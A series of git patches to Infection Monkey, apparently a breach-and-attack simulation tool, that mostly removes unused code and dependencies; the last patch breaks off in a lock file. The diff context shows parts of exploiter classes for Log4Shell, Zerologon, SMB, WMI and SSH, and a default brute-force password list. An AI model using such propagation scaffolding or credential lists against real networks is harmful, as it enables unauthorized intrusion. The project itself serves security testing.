12:39:20 -0400 Subject: [PATCH 0751/1110] Agent: Remove disused ExploitType Enum --- monkey/common/utils/exploit_enum.py | 6 ------ monkey/infection_monkey/exploit/HostExploiter.py | 4 ---- monkey/infection_monkey/exploit/log4shell.py | 2 -- monkey/infection_monkey/exploit/mssqlexec.py | 2 -- monkey/infection_monkey/exploit/powershell.py | 2 -- monkey/infection_monkey/exploit/smbexec.py | 2 -- monkey/infection_monkey/exploit/sshexec.py | 2 -- monkey/infection_monkey/exploit/wmiexec.py | 2 -- monkey/infection_monkey/exploit/zerologon.py | 2 -- 9 files changed, 24 deletions(-) delete mode 100644 monkey/common/utils/exploit_enum.py diff --git a/monkey/common/utils/exploit_enum.py b/monkey/common/utils/exploit_enum.py deleted file mode 100644 index daac36e1b..000000000 --- a/monkey/common/utils/exploit_enum.py +++ /dev/null @@ -1,6 +0,0 @@ -from enum import Enum - - -class ExploitType(Enum): - VULNERABILITY = 1 - BRUTE_FORCE = 9 diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index e1b6d0c80..c88604cd3 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -4,7 +4,6 @@ from datetime import datetime from typing import Dict from common.utils.exceptions import FailedExploitationError -from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger @@ -17,9 +16,6 @@ logger = logging.getLogger(__name__) class HostExploiter: _TARGET_OS_TYPE = [] - # Usual values are 'vulnerability' or 'brute_force' - EXPLOIT_TYPE = ExploitType.VULNERABILITY - # Determines if successful exploitation should stop further exploit attempts on that machine. # Generally, should be True for RCE type exploiters and False if we don't expect the # exploiter to run the monkey agent. diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index e68b7f5ab..e04185d8a 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,7 +1,6 @@ import logging import time -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH, @@ -25,7 +24,6 @@ logger = logging.getLogger(__name__) class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] - EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" SERVER_SHUTDOWN_TIMEOUT = 15 REQUEST_TO_VICTIM_TIMEOUT = ( diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 220268b76..bdef41784 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -6,7 +6,6 @@ import pymssql from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.exceptions import FailedExploitationError -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools @@ -23,7 +22,6 @@ logger = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): _EXPLOITED_SERVICE = "MSSQL" _TARGET_OS_TYPE = ["windows"] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index d18a5c982..026ffb17d 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -2,7 +2,6 @@ import logging import os from typing import List, Optional -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_NEGOTIATE, @@ -42,7 +41,6 @@ class RemoteAgentExecutionError(Exception): class PowerShellExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" def __init__(self): diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 35c45c773..b5b6f65c3 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -3,7 +3,6 @@ from logging import getLogger from impacket.dcerpc.v5 import scmr, transport from common.utils.attack_utils import ScanStatus, UsageEnum -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools @@ -18,7 +17,6 @@ logger = getLogger(__name__) class SmbExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139), diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 0192ae3ed..6d285e1d5 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -6,7 +6,6 @@ import paramiko from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.i_puppet import ExploiterResultData @@ -24,7 +23,6 @@ TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): _TARGET_OS_TYPE = ["linux", None] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SSH" def __init__(self): diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 4c6fcc70f..7fc229ebe 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -5,7 +5,6 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools @@ -22,7 +21,6 @@ logger = logging.getLogger(__name__) class WmiExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" @WmiTools.impacket_user diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 153b31bdd..e441055cf 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -15,7 +15,6 @@ import impacket from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport from impacket.dcerpc.v5.dtypes import NULL -from common.utils.exploit_enum import ExploitType from infection_monkey.credential_collectors import LMHash, NTHash, Username from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.wmi_tools import WmiTools @@ -34,7 +33,6 @@ logger = logging.getLogger(__name__) class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "Netlogon" - EXPLOIT_TYPE = ExploitType.VULNERABILITY RUNS_AGENT_ON_SUCCESS = False MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. ERROR_CODE_ACCESS_DENIED = 0xC0000022 From 9976b8b044106d86ca75425230aae614553b315d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 12:43:21 -0400 Subject: [PATCH 0752/1110] Agent: Remove disused RUNS_AGENT_ON_SUCCESS --- monkey/infection_monkey/exploit/HostExploiter.py | 6 ------ monkey/infection_monkey/exploit/zerologon.py | 1 - 2 files changed, 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index c88604cd3..3bda4b0d7 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -16,12 +16,6 @@ logger = logging.getLogger(__name__) class HostExploiter: _TARGET_OS_TYPE = [] - # Determines if successful exploitation should stop further exploit attempts on that machine. - # Generally, should be True for RCE type exploiters and False if we don't expect the - # exploiter to run the monkey agent. - # Example: Zerologon steals credentials - RUNS_AGENT_ON_SUCCESS = True - @property @abstractmethod def _EXPLOITED_SERVICE(self): diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index e441055cf..88722ecec 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -33,7 +33,6 @@ logger = logging.getLogger(__name__) class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "Netlogon" - RUNS_AGENT_ON_SUCCESS = False MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. ERROR_CODE_ACCESS_DENIED = 0xC0000022 From 1eb8e07c06874ad9154f407b6dd04a76f04fbc92 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 12:48:13 -0400 Subject: [PATCH 0753/1110] Agent: Remove disused get_target_monkey_by_os() --- monkey/infection_monkey/exploit/tools/helpers.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 155800fe6..1ebedc668 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -19,12 +19,6 @@ def get_target_monkey(host): raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.") -def get_target_monkey_by_os(is_windows, is_32bit): - raise NotImplementedError( - "get_target_monkey_by_os() has been retired. Use IAgentRepository instead." - ) - - def get_random_file_suffix() -> str: character_set = list(string.ascii_letters + string.digits + "_" + "-") # random.SystemRandom can block indefinitely in Linux From 5d2303f30048df7d5af6a82847333433f3af5bfb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 12:49:24 -0400 Subject: [PATCH 0754/1110] Agent: Remove disused DOWNLOAD_CHUNK --- monkey/infection_monkey/control.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index d11de18fc..9d38b8adf 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -21,7 +21,6 @@ from infection_monkey.utils.environment import is_windows_os requests.packages.urllib3.disable_warnings() logger = logging.getLogger(__name__) -DOWNLOAD_CHUNK = 1024 PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" From 5a708db5ccb9697b42f127863470fd0fc5663c13 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 12:58:24 -0400 Subject: [PATCH 0755/1110] Agent: Remove disused methods from ControlClient --- monkey/infection_monkey/control.py | 44 ------------------------------ 1 file changed, 44 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 9d38b8adf..985c8e984 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -132,28 +132,6 @@ class ControlClient(object): else: ControlClient.proxies["https"] = f"{proxy_address}:{proxy_port}" - @staticmethod - def keepalive(): - if not WormConfiguration.current_server: - return - try: - monkey = {} - if ControlClient.proxies: - monkey["tunnel"] = ControlClient.proxies.get("https") - requests.patch( # noqa: DUO123 - "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), - data=json.dumps(monkey), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - except Exception as exc: - logger.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) - return {} - @staticmethod def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: @@ -252,28 +230,6 @@ class ControlClient(object): ) return {} - @staticmethod - def check_for_stop(): - ControlClient.load_control_config() - return not WormConfiguration.alive - - @staticmethod - def spoof_host_os_info(is_windows, is_32bit): - if is_windows: - os = "windows" - if is_32bit: - arch = "x86" - else: - arch = "amd64" - else: - os = "linux" - if is_32bit: - arch = "i686" - else: - arch = "x86_64" - - return {"os": {"type": os, "machine": arch}} - @staticmethod def create_control_tunnel(): if not WormConfiguration.current_server: From cd3f5e7f16e888e960f993cc1b6c3980a4a0fa9e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:00:55 -0400 Subject: [PATCH 0756/1110] Project: Add get_file_sha256_hash() to vulture_allowlist.py --- vulture_allowlist.py | 1 + 1 file changed, 1 insertion(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 54b9caa12..a4a61ccb9 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -146,6 +146,7 @@ Report.glance Report.meta_info Report.meta LDAPServerFactory.buildProtocol +get_file_sha256_hash # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From f0fed888cb56d7dcbc4a4aa24a5ecbdc69a79696 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:04:09 -0400 Subject: [PATCH 0757/1110] Common: Remove disused SYSTEM_INFO telemetry category --- monkey/common/common_consts/telem_categories.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index 70faa73f4..669b2379c 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -7,6 +7,5 @@ class TelemCategoryEnum: POST_BREACH = "post_breach" SCAN = "scan" STATE = "state" - SYSTEM_INFO = "system_info" TRACE = "trace" TUNNEL = "tunnel" From 048817d60a9104ed600d8bbb1f28c6945e5e1482 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:05:38 -0400 Subject: [PATCH 0758/1110] Agent: Remove disused VictimHostGenerator --- .../model/victim_host_generator.py | 45 ------------------- .../model/test_victim_host_generator.py | 41 ----------------- 2 files changed, 86 deletions(-) delete mode 100644 monkey/infection_monkey/model/victim_host_generator.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py diff --git a/monkey/infection_monkey/model/victim_host_generator.py b/monkey/infection_monkey/model/victim_host_generator.py deleted file mode 100644 index 444c4a5ee..000000000 --- a/monkey/infection_monkey/model/victim_host_generator.py +++ /dev/null @@ -1,45 +0,0 @@ -from infection_monkey.model.host import VictimHost - - -class VictimHostGenerator(object): - def __init__(self, network_ranges, blocked_ips, same_machine_ips): - self.blocked_ips = blocked_ips - self.ranges = network_ranges - self.local_addresses = same_machine_ips - - def generate_victims(self, chunk_size): - """ - Generates VictimHosts in chunks from all the instances network ranges - :param chunk_size: Maximum size of each chunk - """ - chunk = [] - for net_range in self.ranges: - for victim in self.generate_victims_from_range(net_range): - chunk.append(victim) - if len(chunk) == chunk_size: - yield chunk - chunk = [] - if chunk: # finished with number of victims < chunk_size - yield chunk - - def generate_victims_from_range(self, net_range): - """ - Generates VictimHosts from a given netrange - :param net_range: Network range object - :return: Generator of VictimHost objects - """ - for address in net_range: - if not self.is_ip_scannable(address): # check if the IP should be skipped - continue - if hasattr(net_range, "domain_name"): - victim = VictimHost(address, net_range.domain_name) - else: - victim = VictimHost(address) - yield victim - - def is_ip_scannable(self, ip_address): - if ip_address in self.local_addresses: - return False - if ip_address in self.blocked_ips: - return False - return True diff --git a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py deleted file mode 100644 index 0133102eb..000000000 --- a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py +++ /dev/null @@ -1,41 +0,0 @@ -from unittest import TestCase - -from common.network.network_range import CidrRange, SingleIpRange -from infection_monkey.model.victim_host_generator import VictimHostGenerator - - -class TestVictimHostGenerator(TestCase): - def setUp(self): - self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts - self.local_host_range = SingleIpRange("localhost") - self.random_single_ip_range = SingleIpRange("41.50.13.37") - - def test_chunking(self): - chunk_size = 3 - # current test setup is 15+1+1-1 hosts - test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range] - generator = VictimHostGenerator(test_ranges, "10.0.0.1", []) - victims = generator.generate_victims(chunk_size) - for i in range(5): # quickly check the equally sided chunks - self.assertEqual(len(next(victims)), chunk_size) - victim_chunk_last = next(victims) - self.assertEqual(len(victim_chunk_last), 1) - - def test_remove_blocked_ip(self): - generator = VictimHostGenerator(self.cidr_range, ["10.0.0.1"], []) - - victims = list(generator.generate_victims_from_range(self.cidr_range)) - self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked - - def test_remove_local_ips(self): - generator = VictimHostGenerator([], [], []) - generator.local_addresses = ["127.0.0.1"] - victims = list(generator.generate_victims_from_range(self.local_host_range)) - self.assertEqual(len(victims), 0) # block the local IP - - def test_generate_domain_victim(self): - # domain name victim - generator = VictimHostGenerator([], [], []) # dummy object - victims = list(generator.generate_victims_from_range(self.local_host_range)) - self.assertEqual(len(victims), 1) - self.assertEqual(victims[0].domain_name, "localhost") From 7facf302a401032210f737b368a5359f7ee6bd20 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:13:07 -0400 Subject: [PATCH 0759/1110] Agent: Rename unused '_' parameter to architecture in get_agent_binary --- monkey/common/utils/exceptions.py | 4 ---- monkey/infection_monkey/exploit/caching_agent_repository.py | 2 +- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 2a0e369e9..945e35415 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -18,10 +18,6 @@ class IncorrectCredentialsError(Exception): """ Raise to indicate that authentication failed """ -class InvalidAWSKeys(Exception): - """ Raise to indicate that AWS API keys are invalid""" - - class NoInternetError(Exception): """ Raise to indicate problems caused when no internet connection is present""" diff --git a/monkey/infection_monkey/exploit/caching_agent_repository.py b/monkey/infection_monkey/exploit/caching_agent_repository.py index 8a55b3f63..9d24746ad 100644 --- a/monkey/infection_monkey/exploit/caching_agent_repository.py +++ b/monkey/infection_monkey/exploit/caching_agent_repository.py @@ -22,7 +22,7 @@ class CachingAgentRepository(IAgentRepository): self._proxies = proxies self._lock = threading.Lock() - def get_agent_binary(self, os: str, _: str = None) -> io.BytesIO: + def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO: # If multiple calls to get_agent_binary() are made simultaneously before the result of # _download_binary_from_island() is cached, then multiple requests will be sent to the # island. Add a mutex in front of the call to _download_agent_binary_from_island() so From 77e0cae44129896b78612cad21fbeb1c9ac5dcf0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:14:19 -0400 Subject: [PATCH 0760/1110] Agent: Remove disused methods in WebRCE --- monkey/infection_monkey/exploit/web_rce.py | 46 ---------------------- 1 file changed, 46 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index bbb590b8b..1c0bbdb88 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,7 +5,6 @@ from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import ( BITSADMIN_CMDLINE_HTTP, @@ -407,51 +406,6 @@ class WebRCE(HostExploiter): self.add_executed_cmd(command) return resp - def get_monkey_upload_path(self, url_to_monkey): - """ - Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). - :param url_to_monkey: Hosted monkey's url. egz : - http://localserver:9999/monkey/windows-64.exe - :return: Corresponding monkey path from self.monkey_target_paths - """ - if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): - logger.error( - "Can't get destination path because source path %s is invalid.", url_to_monkey - ) - return False - try: - if "linux" in url_to_monkey: - return self.monkey_target_paths["linux"] - elif "windows" in url_to_monkey: - return self.monkey_target_paths["win64"] - else: - logger.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." - ) - return False - except KeyError: - logger.error( - 'Unknown key was found. Please use "linux" and "win64" keys to ' - "initialize custom dict of monkey's destination paths" - ) - return False - - def get_monkey_paths(self): - """ - Gets local (used by server) and destination (where to download) paths. - :return: dict of source and destination paths - """ - src_path = get_target_monkey(self.host) - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Determine which destination path to use - dest_path = self.get_monkey_upload_path(src_path) - if not dest_path: - return False - return {"src_path": src_path, "dest_path": dest_path} - def get_default_dropper_path(self): """ Gets default dropper path for the host. From 7a71a994208fb322503b75a1fa7e37324e1beb66 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:20:49 -0400 Subject: [PATCH 0761/1110] Agent:Remove disused TIMEOUT constant in network/info.py --- monkey/infection_monkey/network/info.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 9544675d4..f546116cb 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -13,7 +13,6 @@ from common.network.network_range import CidrRange from infection_monkey.utils.environment import is_windows_os # Timeout for monkey connections -TIMEOUT = 15 LOOPBACK_NAME = b"lo" SIOCGIFADDR = 0x8915 # get PA address SIOCGIFNETMASK = 0x891B # get network PA mask From 916f4a6a46db5d50cb42bc01a6134ec45db811e5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:21:57 -0400 Subject: [PATCH 0762/1110] Agent: Remove disused get_exploit_user_ssh_key_pairs() --- monkey/infection_monkey/config.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8feb3f3f7..f9fec0c16 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -136,12 +136,6 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_password_list) - def get_exploit_user_ssh_key_pairs(self): - """ - :return: All combinations of the configurations users and ssh pairs - """ - return product(self.exploit_user_list, self.exploit_ssh_keys) - @staticmethod def hash_sensitive_data(sensitive_data): """ From 4cf448ebe193eaf0eacd04b9d1924a0082280b6e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:25:59 -0400 Subject: [PATCH 0763/1110] Agent: Remove disused struct_unpack_tracker*() --- monkey/infection_monkey/network/tools.py | 26 ------------------------ 1 file changed, 26 deletions(-) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 1a1981616..7a863ea7d 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -12,32 +12,6 @@ BANNER_READ = 1024 logger = logging.getLogger(__name__) -def struct_unpack_tracker(data, index, fmt): - """ - Unpacks a struct from the specified index according to specified format. - Returns the data and the next index - :param data: Buffer - :param index: Position index - :param fmt: Struct format - :return: (Data, new index) - """ - unpacked = struct.unpack_from(fmt, data, index) - return unpacked, struct.calcsize(fmt) - - -def struct_unpack_tracker_string(data, index): - """ - Unpacks a null terminated string from the specified index - Returns the data and the next index - :param data: Buffer - :param index: Position index - :return: (Data, new index) - """ - ascii_len = data[index:].find(b"\0") - fmt = "%ds" % ascii_len - return struct_unpack_tracker(data, index, fmt) - - def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): """ Checks if a given TCP port is open From aac8638df2c5feeb2120fe4f2497ee30fa4b8ea1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:27:21 -0400 Subject: [PATCH 0764/1110] Agent: Remove disused get_interfaces_ranges() --- monkey/infection_monkey/network/info.py | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index f546116cb..162fb423b 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -9,7 +9,6 @@ from typing import List import netifaces import psutil -from common.network.network_range import CidrRange from infection_monkey.utils.environment import is_windows_os # Timeout for monkey connections @@ -136,19 +135,3 @@ def get_free_tcp_port(min_range=1024, max_range=65535): return port return None - - -def get_interfaces_ranges(): - """ - Returns a list of IPs accessible in the host in each network interface, in the subnet. - Limits to a single class C if the network is larger - :return: List of IPs, marked as strings. - """ - res = [] - ifs = get_host_subnets() - for net_interface in ifs: - address_str = net_interface["addr"] - netmask_str = net_interface["netmask"] - # limit subnet scans to class C only - res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) - return res From 98fb4132ecddde99528f6b61be0fcb6a6da4e980 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:41:17 -0400 Subject: [PATCH 0765/1110] Agent: Remove disused config values from WormConfiguration --- monkey/infection_monkey/config.py | 41 ------------------------------- 1 file changed, 41 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index f9fec0c16..9c239fd93 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -83,9 +83,6 @@ class Configuration(object): # sets whether or not the monkey is alive. if false will stop scanning and exploiting alive = True - finger_classes = [] - exploiter_classes = [] - # depth of propagation depth = 2 max_depth = None @@ -96,39 +93,6 @@ class Configuration(object): keep_tunnel_open_time = 60 - ########################### - # scanners config - ########################### - - # Auto detect and scan local subnets - local_network_scan = True - - subnet_scan_list = [] - inaccessible_subnets = [] - - blocked_ips = [] - - # TCP Scanner - HTTP_PORTS = [ - 80, - 8080, - 443, - 8008, # HTTP alternate - 7001, # Oracle Weblogic default server port - ] - tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200] - tcp_target_ports.extend(HTTP_PORTS) - tcp_scan_timeout = 3000 # 3000 Milliseconds - - # Ping Scanner - ping_scan_timeout = 1000 - - ########################### - # ransomware config - ########################### - - ransomware = "" - def get_exploit_user_password_pairs(self): """ Returns all combinations of the configurations users and passwords @@ -153,11 +117,6 @@ class Configuration(object): exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_lm_hash_list = [] exploit_ntlm_hash_list = [] - exploit_ssh_keys = [] - - aws_access_key_id = "" - aws_secret_access_key = "" - aws_session_token = "" # smb/wmi exploiter smb_download_timeout = 30 # timeout in seconds From bfd9084ce189d90ed1253ca94293ddcd8754e1b9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 13:42:44 -0400 Subject: [PATCH 0766/1110] Project: Add architecture parameter to vulture_allowlist --- vulture_allowlist.py | 1 + 1 file changed, 1 insertion(+) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index a4a61ccb9..de610a774 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -167,6 +167,7 @@ _.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/pr _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) GCPHandler # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:57) +architecture # unused variable (monkey/infection_monkey/exploit/caching_agent_repository.py:25) # TODO: Reevaluate these as the agent refactor progresses run_sys_info_collector From 10bb74e40218e3a6c9e5f51ca09850c1cff0fae6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 14 Mar 2022 13:56:12 +0100 Subject: [PATCH 0767/1110] Agent: Remove cryptography and pyopenssl from Pipfile Fixes #1482 --- monkey/infection_monkey/Pipfile | 2 - monkey/infection_monkey/Pipfile.lock | 269 ++++++++++++--------------- 2 files changed, 117 insertions(+), 154 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index fecddef77..61b52ba13 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -4,7 +4,6 @@ verify_ssl = true name = "pypi" [packages] -cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography pyinstaller = "==4.9" impacket = ">=0.9" ipaddress = ">=1.0.23" @@ -17,7 +16,6 @@ pypykatz = "==0.5.2" requests = ">=2.24" urllib3 = "==1.26.5" WMI = {version = "==1.5.1", sys_platform = "== 'win32'"} -pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" # Allows us to use 3.9 typing features on 3.7 project pysmb = "*" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 62d45798d..60cec298d 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": 